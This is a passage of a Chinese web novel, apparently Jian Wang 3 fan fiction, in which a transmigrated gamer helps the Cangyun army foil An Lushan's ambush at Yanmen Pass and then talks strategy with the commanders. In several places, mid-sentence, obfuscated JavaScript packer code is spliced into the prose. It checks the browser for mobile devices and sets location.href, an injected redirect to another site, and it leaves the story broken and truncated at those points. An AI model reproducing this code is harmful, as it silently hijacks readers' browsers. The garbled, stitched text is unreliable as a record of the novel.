“自从发现阿会苏因私利背叛奚族,首领虽面上不显,心里却仍旧担惊受怕。”宜芳无奈地摇摇头,“值此混乱之际,他唯恐身边再有人谋害我,逼他不得不反,三思之后决定让我暂时投奔苍云军,一来为护我周全,二来也为表诚意。” 苍云诸位统领面面相觑,都有些哭笑不得。 燕忆眉不由感慨一句:“如此看来,这奚人头领也算仁义之人。” 宜芳也笑,不成想此番危局竟也变成她与奚族彻底破冰的机会,想到这里,又俯身向各位统领行了一礼:“宜芳还要在此多谢苍云军诸位义士。” 薛直与燕忘情商议片刻,提议道:“军中艰苦,不如暂请公主往广武镇富户人家之中安住,等演武结束再由我等送回奚族。” 宜芳思索片刻,却摇了摇头:“尝听闻苍云军中设有女卫营,若各位将军不嫌弃我不识军机,可否将我安置在军中?” “这……” “请将军放心,有乌日娜在,宜芳并不需要额外关照。”她抿了抿唇,肃容道,“昔在长安时,富贵迷人眼,和亲之后常觉心中悲苦,却不曾看这雁门关外天地广阔,亦不曾亲见百姓之苦,解黎民之困,心中……甚是羞愧。” “既然此番乱局宜芳亦已深陷其中,只好恳请统帅圆我一分私心,让我为这雁门关内外的将士们做些什么吧。” 风夜北目露赞赏,提议道:“既然公主有此心意,可愿于后方照看伤员?” “自然愿意。”宜芳欣然应道,“只是我不通医术,许是要请军中医者多多包涵。” “那就请公主随画扇行事吧。” 等公主一行随燕忆眉往女卫营安置后,申屠笑才皱着眉迟疑道:“夜北,那毕竟是公主。” 风夜北笑着摇头:“且看她能坚持多久吧。阿笑,若这大唐宗室人人都能如公主口中一般,明征人将士之苦,体黎民百姓之忧,不自恃身份,不目中无人,这才是大唐之幸啊。” “也是。” 宗室啊……一旁的宋森雪嘴角依然挂着惯常的微笑,眼中却多了分若有所思的明悟。 他忽然很想摸一摸大伯谢云流传与他的“煌雷剑”,也不愿再顾虑而今执剑出鞘会否堕了大伯威名…… 若能以此剑斩杀千百狼牙,护姊妹兄弟与百姓周全……合该如此。 照月起先同样不曾料到宜芳公主竟会选择留在苍云军中帮忙,但她对此深感欣慰。 大唐的公主啊……大唐的女子…… 这可是个曾孕育出华夏历史上唯一一位女皇的时代。 公主头上同样有汗,身上带着浓重药味,甚至手里用来剪布做绷带的剪刀都未搁下,便匆匆而来,显然是为了她。 照月停下脚步,看了眼公主的状态栏,先给她按了个“一指回鸾”。 颐气动坤,惊霄回鸾——一指回鸾,无界相知的驱散技能。 宜芳只觉得周身疲惫之意、腰酸背痛之感瞬间全无,可惊愕之余依旧先忧心忡忡地开了口:“照月姑娘,不知这演武还要多少时日……每日所见伤员只增不减,即便大多不曾伤及要害,却也……太过痛楚……” “我知公主不愿见将士们受此磨难,寻常演武自可将真刀真枪换为木头,然我们此次安排皆是为了引出那幕后望收渔利者。安贼狡诈,不待奚族与苍云各有损耗,疲惫不堪之时,恐不会轻动。” 照月无奈地摇摇头,正色道:“昔有越王勾践卧薪尝胆,而今我等忍辱负重,亦是为一击破除狼牙奸计。公主若不忍,便请将这雁门关内外无数义士的鲜血与伤疤铭记于心,如此也算不辜负他们的忠义之心。” 宜芳的目光从雁门关外的雪徘徊至营帐中伤兵们的脸上,目光中似也多了几分与这北地风格相似的坚毅,掷地有声道:“宜芳此生,必不敢忘。” “公主莫忧莫扰,算算日程,公主亲笔所作家书当于今夜被申屠笑将军送至长安,只待揭穿安禄山阴谋。”照月又道,“今晨我与军师东望范阳,已可见其行迹,只是接下来要对抗狼牙,便不是‘演武’这等伤亡可比拟的了,还请公主……早做准备。” 只愿这株生长于长安的牡丹,在见识完战争的残酷后,能在这塞北名关生出不惧风吹雨打的根。 宜芳抿了抿唇,对照月行了一礼:“姑娘先忙,我也要回医帐去了。” 照月拱手,目送她回医帐忙碌起来,继续往关外的方向走,同时在脑海中与系统对话:“因为演武期间,并不需要我杀敌制胜,更重要的是救人性命,否则便违背了计谋初衷。” “但是一次只能解锁一个心法,下次即便再遇到解锁的机会,也未必是武学……” 肥啾不安地扇着翅膀,没敢说以照月的运气,下次抽中输出心法的概率……治疗职业固然可以在危难之中保命,可也只是保命而已,这世间可多的是让人生不如死的方法。 照月倒是十分乐观:“至少没让我一个一个技能地解锁,有疏影横斜在,至少还可以恰影子跑路,要还是逃不掉……恐怕我切了莫问也打不过啊。” 而且…… “宝啊,我很好奇这个世界的长歌门武学是按什么设定设置的……按理说我应该可以从门派里学到不少技能吧,相知剑意莫问曲,多帅啊!我眼馋旗舰端剑流莫问很久了!” 本来还想着毕业以后工作了就换个电脑玩旗舰端,谁知一朝跳阴阳竟然穿越了呢? 肥啾哼哧哼哧不说话,半晌才吞吞吐吐道:“我、我也不知道……” “行啦,我也只是随口一说。”照月安慰了一句,眯起眼来,“我猜安禄山等不及了。” 她换了身便于行动的圆领袍,黑发束在脑后,还在头上戴了个斗笠,又以轻纱覆面,背上的琴也换成了朴素的仲尼式,力求不让人一眼认出自己——事实证明体型捏脸无法影响原住民认知,但外观还是有点迷惑作用的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345214|183490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 牵着从薛统帅处借来的马——没办法,坐骑系统还没解锁,照月忐忑地按下右下角的“骑御”标志,身体瞬间不受控制地翻身落到马上,又如肌肉记忆般挥鞭绝尘而去。 她快马加鞭一路往前,路过不少对阵中的苍云士兵与奚人。 只见左前方一黑铁盾牌凌空飞出,正是:“玄云飞盾寒光闪,肇甲金勋断残枭。” 照月不由在心里暗赞:“好盾飞!” 继而砰的一声,玄甲身影顷刻间突出重围,震天撼地,势如破竹,惊起一片雪尘,斜刺里陌刀斩出,登时掀翻一群奚人。 右前方则恰恰相反,只见一群奚人蜂拥而上,似将一玄甲身影围在其中,刀盾相击之声砰砰作响,倒下的反倒是那些奚人士兵。 “盾立!”熟悉的音效让照月心头一凛,须臾又反应过来,“不对,我现在是相知……” 再往前,两个熟悉的身影战得正酣,竟是宋森雪与那奚人首领李延宠。 扬旌蔽五岳,杀气作阵云——谁人觅雪枪在空中划出一道银弧,恰是一招“阵云结晦”。 “好!再来!”李延宠翻身落地,又气势汹汹地拔刀冲了上来。 他打得凶狠,杀红眼便不记得周遭还有其他人,眼看那刀气朝一对打斗中的士兵飞去,宋森雪正要给出一记盾墙,忽听得一声琴音,那二人身上瞬间套了一层梅花盾。 太音三引梅花渡,凌雪半融曲生香,是为“梅花三弄”。 “首领可莫要忘了先前约定。”照月回身笑道,又纵马往奚人安置伤兵的地方去了。 阿古达木正带着一众奚人平民为伤员们处理伤口,苍云士兵和奚人勇士混在一处,受了伤也还在热火朝天地比划。 “空有蛮力毫无章法,再去练练吧。” “要不是你穿着一身玄甲,早把你砍翻了——嘶,轻点,轻点。” “诶,兄弟,刚才那招怎么使的,教教俺呗,回头送你两条银狐尾。” “哈哈,想学?明年征兵的时候来我苍云报道,从新兵练起吧。” “要我说啊,你们苍云军也不过如此,光有步兵怎么能行呢?遇上那精锐铁骑,纵有玄甲,也要遭殃……” 阿古达木听得连连摇头,却也由他们去了,一抬头瞧见照月从马上跳下来,便问;“你怎么来了?可是那狼牙军有动静了?” 照月给几个血条危险的伤员加了血,回道:“确是如此,请长老做好准备。” 话音刚落,便听见远处传来一阵号角声,三长一短,恰是约定信号。 “好啊,儿郎们,该去砍我们真正的仇敌了!” 与此同时,照月也在脑海中敲了敲系统:“宝啊,我再确认最后一遍,歌尽影生是可以用的,对吧?” “对,但必须在目标死后一刻钟以内,而且一个月只能用一次……杯水留影倒是和游戏设定相同,但是一个目标只能接受一次杯水……” “但愿不需要……”照月在心中喃喃。 她跟着从奚人部落出发的队伍紧赶慢赶,总算到了苍云军与安禄山见面的地方,远远埋伏在雪堆山石背后。 包围圈内,宋森雪亲自带了一队精英,正与安禄山和他的亲随说话。 “安大人,我们奉薛将军之命来此恭迎。” “恭候多时了。”安禄山随意拱了拱手,“想不到两军交战之际,宋统领竟亲自来迎,倒让我深感意外呐。” “毕竟是安大人率军亲至。”宋森雪回道,“此处人多口杂,还请安大人移步营地说话。” 安禄山虽有一丝疑虑,但还是扬了扬手,道:“那便请宋统领带路吧。” 宋森雪也抬起手,周遭精锐自发围在一处。 恰在这时,一支羽箭横空射向宋森雪面门,被他用枪挡开:“有埋伏!” 只见无数头戴毡帽手握弯刀的狼牙兵从四面八方冲上来,扬刀便朝苍云军砍去,却见那队玄甲精锐整齐地竖起盾牌,挡下了这次攻击。 宋森雪已将手伸向背后层层包裹的煌雷剑,嘴角依旧带笑,脸色却格外沉冷,目光如电般射向安禄山:“不知安大人这是何意,口称援军,实设埋伏,是要置我苍云于死地吗?” 安禄山并未理会他的质问,倒是苍云军训练有素的应对更令他生了拔出这枚眼中钉的狠意,冷声下令道:“拦住他们!” 忽然,狼牙军只见紫电青光,隐约间竟似有雷声大作,再回神宋森雪已执剑立于阵中。 那苍云的笑面阎王盯着他们,嘴角弧度未变,却凭空生出一种令人胆寒之意。 “来得正好。就以尔等狼心狗肺之徒的血,为我的宝剑开刃——” 7. 范阳计败削骨肉 这厢宋森雪煌雷剑首次出鞘,一招“电逝”斩翻十数狼牙兵,连安禄山都目露惊色。 那厢申屠远带领的弓骑手已与照月等人会合,在狼牙的包围圈外又围了一层。 “安大人——”申屠远一箭百步穿杨,直接射翻了从背后袭击宋森雪的狼牙兵,又挽弓瞄向体型颇为庞大的安禄山,扬声道,“敢问这些埋伏者从何而来?他们听你号令,可看上去却不像你范阳军的人啊。” 身旁副将与他一唱一和:“这还用问?显然是扩充私兵,图谋不轨嘛。” 安禄山眯起眼睛,似从苍云军早有防备的架势中明悟了什么,冷笑着倒打一耙:“奚人叛乱?原是有假。哼,我竟不知苍云军何时与这关外戎狄沆瀣一气了,苍云勾结外族,其心可诛,倒反过来诬陷我图谋不轨?” 人群中的李延宠险些跳起来对他破口大骂——他乃是唐皇钦定的女婿,不比安禄山这年逾不惑的贵妃义子高贵得多? 阿古达木死死压住首领,苍老的面容上浮起晦暗不明的情绪。 “无稽之谈。”宋森雪又出一剑,“我大唐与奚族和谈,并降公主于奚人首领,双方本可相安无事,可你安禄山为图军功,屡次挑衅奚人,岂非根本未把圣上旨意放在心上?” 申屠远也道:“安大人莫要顾左右而言他,周遭埋伏者究竟何人,阁下可还未曾替我等解惑呢。” 安禄山冷冽目光扫过苍云诸人,忽然嗤笑一声:“解惑?你们还不配。此间是非功过,且让你们薛统帅与我一道往大明宫中见分晓吧。撤——” “你!贼人休走!”申屠远磨了磨牙,下令飞羽营直接射箭,但安禄山此次带了大批狼牙主力,终究还是被他们走脱了。 宋森雪收起剑,环顾四周,冷静道:“把还活着的狼牙兵带回去审问,莫要放过任何一个——阿远,别忘了我们的任务,现在还不到正面交战的时候。” 申屠远愤恨地拎起一个狼牙伤兵:“但愿另外几处能有所收获,我们去支援军师和统帅。” 安禄山此次有备而来,自然不只在一处设兵。 古战场上还有无数异族打扮的狼牙兵,身边跟着硕大的战狼,正与苍云军和奚人混战。 照月跟着申屠远穿过战场,握着缰绳的手已紧握成拳,强压着胃袋中的翻江倒海之感。 鲜血浸湿了雪地,不计其数已失去生机的尸体倒在一旁,其中或许就有曾经打过照面的苍云士兵与奚族勇士。 演武已经结束,这才是真正的战场。 哪怕他们早有准备,哪怕已经做好了周密的计划,哪怕这一次奚人是与苍云军一同对抗狼牙的盟友,可刀剑无眼,两军厮杀之中,难免会有人丢掉性命。 对来自和平年代的照月而言,这样的亲历比她隔着屏幕所见还要残酷千万倍。 而对于她身边这些人来说,却几乎是司空见惯的场面了。 照月只能沉默着向前,纤细的手指不断拨弄琴弦,给一息尚存的友军维持多一丝生机。 一个月只能用一次的歌尽影生,根本不够,她必须也只能将这个珍贵的机会留下来,以备在关键人物身上使用。 她跨越两个次元来到的就是这样一个要把人命放在天平两端衡量的时代,没有别的选择。 头顶肥啾感受着她的内心活动,似乎很想说些什么来安慰她,却又不知如何开口。 照月似乎察觉道它的难过,定了定神,在心里道:“我只是……还不太习惯。但世道如此,不能尽如人意,只求竭尽全力,无愧我心……至少保下苍云的大部分有生力量……为平定之后乱局,这只是一个开始,我必须坚持下去。” 风夜北坐镇雁门关外的中军大营,方便接收来自关内外各处的消息。 此次关外战事苍云占据优势,他的眼睛并未如原剧情中为流矢所伤,此刻见了安然归来的申屠远和照月等人,只打了个照面便察觉照月心情有异。 可他并未直言,先说起军情:“忘情方才在营中遭遇埋伏,乃是一蒙面怪人,使的是东瀛剑法,想必是安禄山收拢的江湖人,只是暂且不知来自何方势力,背后有无旁人。此人还善分身之术,落网前被他逃了,我们派去追击的人一路还遭遇了好几拨相类的刺客……” 这剧情似曾相识,照月想起游戏中的副本,默默对上了时间。 又听风夜北道:“此处与我们正面交锋的狼牙兵,统领者自报名号为拓拔离……” 申屠远忙问:“此处战况如何?” 风夜北叹道:“狼牙来势汹汹,兵力不容小觑,此次若无奚族为盟友,只恐我军大营独木难支,须得退守关内。不过如今侧翼大营来援,安禄山又已然退兵,独木难支的就变成那狼牙军了,若能擒住拓拔离……” 恰在此时,一名将士来报:“军师,狼牙大军溃败,守将已被擒获!” “哦?带上来,我要亲自会会这位安贼手下的‘地狼’首徒。” 拓拔离同样一身异族装扮,被带到风夜北面前也只是恶狠狠地看着他,面对盘问只是冷笑,一言不发。 风夜北只能摇头:“罢了,卸掉四肢关节,带回关中审问吧……狼牙已败,我等也该回去向薛帅复命了。” 却听得那拓拔离忽得,竟趁关节被卸守卫不备之时竭力扑向风夜北,待阻拦的将士回神,便见他已是白刃穿身。 “哈,薛直……必死……”拓拔离狞笑着说完这句遗言,头颅歪到一旁,没了气息。 “不好,安贼既能使人刺杀忘情,也不会独独漏下薛帅!”风夜北看了照月一眼,“先前虽有照月姑娘提醒,薛帅却欲以身为饵,然只怕我等低估安贼手下实力,虽有忘情率精锐于旁埋伏,但却未必万无一失……” “什么?”照月的右眼皮忽然跳了跳。 虽然雁门关之役的前半剧情已被改写,薛直身边也比原来多了防御,可她却很可能依然轻视了这位统领身先士卒的心。 她知道原本被派去袭击薛直的狼牙大将是谁——地狼独孤问俗和风狼葛尔东赞。游戏里有不可抗拒的剧情杀,以至于她很难评判这二人武力高低,比之薛帅燕帅联手又如何…… “事不宜迟,我立刻回去。”如果到了最坏的情况,她还能用歌尽影生这张底牌。 风夜北见她焦急又笃定,便立即同意了此事,并说大军随后便至。 赶到雁门关外时,照月险些直直摔下马来——因为城门紧闭,城外雪地上只剩几个身影。 薛直与燕忘情已是浑身浴血,玄甲上的斑斑血迹使之再不能反射出幽幽冷光。 他们的敌人也一样,没有玄甲蔽体,身上伤口显得更多,还在往外涌着鲜血,然而那风狼地狼却似毫无所觉,一招一式都带着破釜沉舟的狠绝。 薛直以盾挡住葛尔东赞一击,朝身侧同袍吼道:“你先回去——” “未到毫无退路之时,焉能弃帅而逃?薛帅,一起杀了他们!”轻眉刀从斜刺里劈出,在独孤问俗身上又添一道伤口。 四人战成一团,不似军队作战,倒是江湖比武。 听得马蹄声,薛直瞧见来人身上玄甲,扬声提醒:“先莫要近前来,此二人实力叵测,你们不是对手!” 赶上了! 照月从背上取下琴置于膝头,对身侧苍云将士道:“劳烦诸位掩护我!” 泠泠琴声起,乍然恢复大半气力的薛直与燕忘情惊异之余,立刻挥刀砍向敌人。 独孤问俗与葛尔东赞见苍云援军已至,冷静下来之后不免生出一丝退意——此种情况只有一个可能,他们的狼主退兵了,或者说至少没能按计划阻截关外的苍云主力。 加上这意料之外的琴声……苍云军中似有外人相助,此人是何来历? 独孤问俗当机立断:“需将此事速速上报狼主,先撤!” “不能放跑他们!”燕忘情横刀一跃,试图拦住他。 薛直全力挥出一刀,竟直接斩断了葛尔东赞脖颈,正欲拦截独孤问俗,却只见烟尘四起,独孤问俗的身影似要融入沙石之中。 轻眉刀接踵而至,斩向那个还未完全消散的身影,可虽有闷哼传来,却未见贼人身影。 燕忘情皱眉:“该死,这‘地狼’习了一手土遁之术——” “请薛帅燕帅助我!”照月怒极反笑,按向空中一点,“给我回来——” 潮起东江月,弦管弄渔歌——是为“江逐月天”,有记录敌方位置状态,将至“恢复原状”的奇效。 重新现出身形的独孤问俗面露惊色,然而电光石火间,冰冷刀锋已一前一后钉住了他的身体,将他永远留在了雁门关前的大地上。 薛直与燕忘情斩下独孤问俗和葛尔东赞的头颅,收刀走到照月跟前拱手道谢:“多谢姑娘出手相助。” 照月躬身还礼:“也要多谢将军拦住此二人。” 从伤兵营到战场这一路,她已察觉系统武学或许并非此界长歌弟子会经常施展的武艺,如果她在雁门关的一举一动流传开,恐怕…… 而这件事虽未言明,苍云军的正副统领却似乎已经与她有了默契。 这时,另一队人马忽然赶到,为首之人红衣剃度,却是破阵营统领王不空。 “薛帅,燕帅,我们在周围清扫狼牙伏兵,追击狼牙部队,擒获了一个可疑之人。”说到这里,他皱起眉,“此人极有可能是长安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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申屠笑皱眉回想:“据颜大人说,圣上对此练兵之策颇有褒奖,还命钦差至此犒赏我等与奚人勇士,公主亦得了不少赏赐。” 宜芳公主同样在场,闻言先是松了口气,却在看到风夜北与照月脸上神情之时没了笑容:“照月姑娘,风军师……此事可有何不妥?” 风夜北只是摇头,追问申屠笑:“圣上可有推广练兵之策,让我等与奚族保持和睦之意?” 申屠笑谨慎思索片刻,摇摇头:“并未听闻。” “哎呀!”风夜北扼腕叹息。 照月面色凝重,对众人拱手道:“先前只望能保奚族与苍云一时周全,却未曾言明其中隐患,是我之过。大唐虽与奚族和亲,却终非一体,此计能保一时,却也后患无穷……” 燕忘情却伸手将她扶起,薛直面色沉凝,看她的脸色却很温和,他沉着道:“我知姑娘所言何意,若君王生疑,我等便有养寇自重,勾结外邦之嫌,定下与奚人联合之计时,薛某便已知晓其中利害,姑娘不必因此自责。” “狼牙兵力远超我等所想,此次若无奚人相助,哪怕狼牙未施奸计,仅正面交锋,我军也必将损失惨重。”燕忘情也道,“若无这一时周全,又何谈后患?而今已是最好的局面。” 宜芳公主面色惨白:“为何……为何如此?不论苍云还是奚人,皆为自保,难道……” 照月轻轻摇头:“公主须知,官场上并无清者自清一说。” 这世道弱肉强食,空有一身清白傲骨而无力量傍身,恐怕只有以身殉道一个结局。 “至少短期之内,圣上对我等最多只是疑心,日后之事且行且看,公主莫要过分担忧。”薛直安慰道,又叹了口气,“只可惜从今往后,我苍云与奚族恐再不复当日雁门立誓之谊。” 风夜北摇摇头,补充道:“亦不能突然割席,否则便是此地无银三百两了。” 申屠笑愤愤道:“既如此,只愿那安禄山被施以严惩,方能解我心中之恨!” 然而余下诸人面上神情皆不乐观。 又过几日,有宦自长安来,带着唐皇的圣旨与赏赐,也带来了关于狼牙的消息—— “先平卢、范阳节度使安禄山之子安庆宗私自组建狼牙军,离间奚族与大唐,谋危社稷,以谋逆罪论,斩;其父安禄山虽教子无方,御下不严,然戍边辛苦,屡建奇功,坐失察罪,罚俸一年,罢范阳节度使;原安禄山部下、北平太守史思明检举罪人安庆宗有功,擢范阳节度使……” 好一个安禄山!好一个史思明! 照月摇摇头,合上了初次得见的圣旨。 这个结果自然并不乐观,但……也不算出人意料。 8. 长安不见使人愁 夜色已深,照月躺在床上,想着穿越以后各方势力命运的变化,越想越清醒,干脆爬起来出了营帐。 雪后初霁,皎白月光映着雪色,仿佛天地浑然一体。 照月漫无目的地走着,边走边想:苍云保存了绝大部分有生力量,奚族未受安禄山挑拨反唐,宜芳公主还好好活着,甚至苍云与奚人的关系恐怕达到了前所未有的友好。 可是他们最大的敌人,安史之乱的罪魁,也并未遇到伤筋动骨的挫折。 被斩杀的安庆宗不过是安禄山推出来的替罪羊,甚至作为安禄山的长子,他或许并未参与多少狼牙之事,毕竟主要负责组建狼牙军的应是安禄山次子安庆绪。 至于圣旨中所谓检举安庆宗的功臣史思明,作为这件事中最大的获益者,照月不认为他已经和安禄山翻脸,毕竟狼牙军的组建还有史思明之子史朝义从旁协助,结果最终却只有安庆宗一个牺牲品。 “想必安史二人已就此达成共识,弃车保帅,断尾求生。”照月摇摇头,在脑海中对系统感慨,“不愧是当了那么多赛季大boss的人,足够狠心。” 肥啾在她头上蹦了蹦,声音有些低落:“侠士觉得失望吗?费了这么大力气,结果却……” “可是我们的最初目的其实已经达到了吧,我的新手任务应该也要完成了。”照月平静地答道,声音中有一丝怅然,“从一开始我就没有想过能一举击败安禄山。” 她们走到了长城之下,照月望着雁门关高高的城墙,轻声道:“天宝年间,这个曾经辉煌的朝代已经在走下坡路。历史是有惯性的,不会因为我这样一只小小的蝴蝶扇动一次翅膀而发生根本性的改变,连苍云军这一整支精兵的保存,也不足以改变历史的洪流。” 头上的肥啾似乎更失落了,连翅膀都耷拉下来。 照月忽然笑了笑,琥珀色的瞳孔映出月亮的轮廓:“可是蝴蝶并不会只扇动一次翅膀,会被扭转命运的也不只苍云,这只是一个开始。聚沙成塔,众志成城,总会有那么一天,这条河不会再涌向原来的地方……我们,还有很长的路要走呢。” “嗯。”系统的声音重新振作起来。 照月提议:“不如想想接下来的苍云军该如何自处吧……” 这时,一个伫立在长城上的身影吸引了她的注意,那是……燕帅? 燕忘情似乎也看到了她,便问道:“照月姑娘为何在此?” 照月答道:“心有所思,夜不能寐,便想出来走走,顺便……瞧瞧这雁门关的月色。” 燕忘情铁面下的嘴角似乎弯了弯:“既是赏月,我倒是知道一个好地方。” 听出这话中邀约之意,照月也笑道:“不知照月能否有荣幸……” 话音未落,一道玄色身影自她面前闪过,紧接着她便跌进一个冰冷的怀抱里,鼻息间萦绕着和这雁门关的雪一样凛冽的气息。 只一眨眼的工夫,照月便已然落到某座塔楼之上,放眼天地开阔,月色如霜。 等等……所以她刚刚是被燕帅用双人轻功抱上来了?救、救命……试问哪个剑三玩家能抵挡被燕帅公主抱的诱惑? 可是对着那张修罗铁面,想到对方藏在面具下的伤疤,照月便冷静了几分,定神问道:“燕帅为何深夜在此?” 燕忘情看了她一眼,目光中似有种说不清道不明的意味,随后却别开脸,望向天边的月。 就在照月以为自己方才的问题或许有些唐突之时,她却忽然开了口:“我,做了一个梦。” 因为一场噩梦就再难入眠,听起来似乎不像苍云军副统帅的风格,可是那个梦…… 太真实了。 “真实到让我以为自己曾经经历过,或者说,本要经历一样……” 起初,她只是再度看见了那个奇怪的东瀛刺客。 而后就像狼牙来袭那天发生的事一样,刺客逃窜,她命人去追,自己则去禀报薛直。 可是后来,她只等来了安禄山率狼牙军来袭,申屠笑身死,申屠远受伤,风夜北双目被流矢击中的消息。 那日与她和薛直交手的独孤问俗和葛尔东赞在关外叫嚣,薛直出阵迎敌,最终…… 最终为了保护百姓与将士撤回关内,倒在了雁门关外的雪地上。 她只看到了主帅冰冷的尸体。 梦境至此戛然而止,燕忘情醒后发觉自己出了一身冷汗,眼角竟有泪意,因心绪难平,这才出来走走,想靠城头上的风令自己冷静几分,顺便思索接下来的对策。 而后,她看见了照月。 燕忘情忽然意识到,如果没有这个长歌弟子的到来,没有她“偶然”的发现和提醒,那梦中的一切……或许当真会变为现实。 梦中的一切调度,她所熟悉的每个同袍的选择,都与他们本人会在那种情况下做出一举一动别无二致。 是庄生梦蝶,还是蝶梦庄周? 照月听完她的转述,心中同样惊愕,开始在脑海中疯狂呼叫系统。 “宝,你听到了吗?这不就是雁门关之役原本的剧情吗?为什么燕帅会梦到这些啊!” 肥啾没有回答她,脑海中反而出现了一道久违的电子音—— “请侠士自行探索。检测到新手任务已完成,正在进行等级评定……‘解决雁门关之围’完成度:100%,支线剧情推进程度:75%,命运扭转综合评级:A,任务奖励发放中……恭喜侠士获得两次抽取系统解锁权限的机会,请侠士抽奖……” 两个闪着光的宝箱飞到照月面前,看上去格外诱人。 想到自己用茶饼喝侠客次次只能保底的照月:“……” 想到照月之前抽奖结果的肥啾:“……” 照月勉强扯了扯嘴角:“能之后再抽吗?话说回来,自从我猜中你们不是一体的之后,现在连装都不装了,是吧?” 没看见她正和燕帅谈心嘛! 电子音:“经检测侠士超过十秒未进行操作,系统将自动为侠士进行抽奖……” “不是,等等——你这个强买强卖的人工智障!”不知道是不是照月的错觉,自她在脑海中吼出这句话之后,宝箱中跃动的光芒变化得更快了,“恼羞成怒了?” “恭喜玩家获得背包容量20及仓库容量20,现为玩家随机抽取背包及仓库解锁格……” “为什么连这个也要抽奖啊?而且20格甚至不到一个包裹的容量,现在早就不是轻容百花包的年代了好吗?” “抽奖已结束,请玩家自行查看结果。” “……先不看。”照月嘴角抽搐,一抬头就看见燕忘情望着她,嘴角似有弧度,连忙正色道,“燕帅,梦只是梦,现在我们眼前的一切,才是真实的。” “确实。”燕忘情轻轻笑了一声,似乎并未察觉她方才的走神。 人心皆有秘密,照月助苍云军良多,她不会多问,但…… 若有相类之人为害大唐,祸乱百姓,等待那个人的,便只有她手中的轻眉刀了。 “今夜月色甚美,最宜望月怀远。不过看来深夜有此雅兴的,也并非只有风某人一个。” 又一道身影徐徐登上塔楼,长发披散,风姿卓绝,含笑双目中映出皎皎月色。 对上那双熟悉的眼睛,燕忘情不由再次想到那个噩梦……但照月说得对,眼前才是真实。 “军师亦未寝……”照月忽然失笑,又正色道,“天涯共此时……望月怀远,长安的月色,恐怕亦是如此吧。” 风夜北叹息着连连摇头:“唉,如此月色,本不想再为那些事务伤神,怎料照月姑娘忧思甚重,不解烦忧怕是要连日辗转。” 照月坦然笑道:“既然军师挑明,照月也冒昧一问,二位对苍云军的未来有何想法?” “坐下说。”燕忘情往旁边挪了挪,开门见山道,“不若就从那道关于范阳的圣旨说起。” 风夜北掀起衣摆,欣然应约:“若是有棋有酒,就更合适了。” “棋来了——” “酒也来了!” 燕忘情愕然:“你们——怎么回事?怎么都来了?” 拎着酒壶的薛直环顾四周,哑然失笑:“各营统领齐聚,怎么连无衣这小子都跑过来了?” 照月也想问,半夜三更的,你们苍云是来长城上搞团建了吗? 燕忆眉在她身边坐下:“心里憋着一股气,横竖睡不着,路上遇着阿笑阿远,就过来了。燕帅方才提及那道圣旨,我便想解个惑,那安禄山史思明分明是弃车保帅,难道圣上与长安朝臣看不穿吗?” 风夜北摇摇头:“那可就轻看陛下和李相了。” 申屠远不解:“那为何还……” 风夜北从木盒中取出几颗棋子,一一摆开:“我们便以这些棋子指代狼牙一事所涉诸人,圣上、李相、安禄山、史思明、太子、王忠嗣……奚族、我苍云军,阿远会如何排列这些棋子所属阵营呢?” 众人望着棋局,思考自己心中答案。 照月伸出手,先将代表安禄山与史思明的棋子摞在一起:“史思明乃安禄山部下,二人同乡,自幼相识,交情甚笃。” “此事我等皆已知晓,故而才有疑惑,如此明显的断尾求生之举……” 风夜北伸手将代表李林甫与皇帝的棋子拿起:“今上用李林甫重用胡将之策以制衡军权,安禄山此人颇有能力,正是其中之一,且因其惯会逢迎上意,深受圣上青睐。狼牙军此次未成气候,长安或认为一切均在掌控之中,纵有杀鸡儆猴之意,却也未必舍得下这把好用的刀。” “故而只罢黜范阳节度使一职,那安禄山仍是平卢节度使?我似乎明白了……可那史思明……他为安禄山心腹,史思明任范阳节度使与安禄山又有何区别?” “关于此事,我却还有一种猜测。”燕忘情沉吟道,拿起放在另一边的两枚棋,“若只罢安禄山,不动史思明,接任范阳节度使的,又能是何人?” 薛直吐出一个名字:“王忠嗣——稳定范阳局势,避免狼牙作乱,且要足够忠心,还能威震关外胡人,最佳人选无疑是王大人了。” 风夜北摇摇头:“薛兄莫要忘了,王忠嗣将军已身兼朔方、河东节度使,且与太子关系亲密,若再令其兼任范阳节度使……足以令人忌惮。” “因而,无论是李林甫不愿王忠嗣手中权力继续膨胀,还是太子一党预见危险从中斡旋,最终皆使得王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛直无奈地叹了口气:“父亲与王忠嗣有旧,即便我苍云军与太子并无多少往来,却无法妨碍有心之人猜忌……” “既不能阻碍,薛帅可曾想过……不,是我多言。”照月摇摇头,话一出口她便觉得,薛直不会因此时处境便暗投太子,便只道,“以将军人品,必不会效仿安禄山,亦不会做出养寇自重的选择,如此一来,恐怕只有一条路了……” 她望向关外茫茫无际的雪原:“此时决不能退,那便只能做一把无法被轻易舍弃的尖刀。奚族与苍云矛盾已解,可还有契丹、突厥贼心不死。” “这本就是苍云镇守边关职责所在,此时能作为一线生机,也算意外之喜了。” “只是,凡有战乱,苍云军必有损伤,今时不同往日,祸根未除,日后恐生大乱,还需各位将军与苍云将士爱护己身,韬光养晦。军中粮饷或为朝廷掣肘,玄甲毁坏亦有损战力,望各位能早做打算,未雨绸缪。” 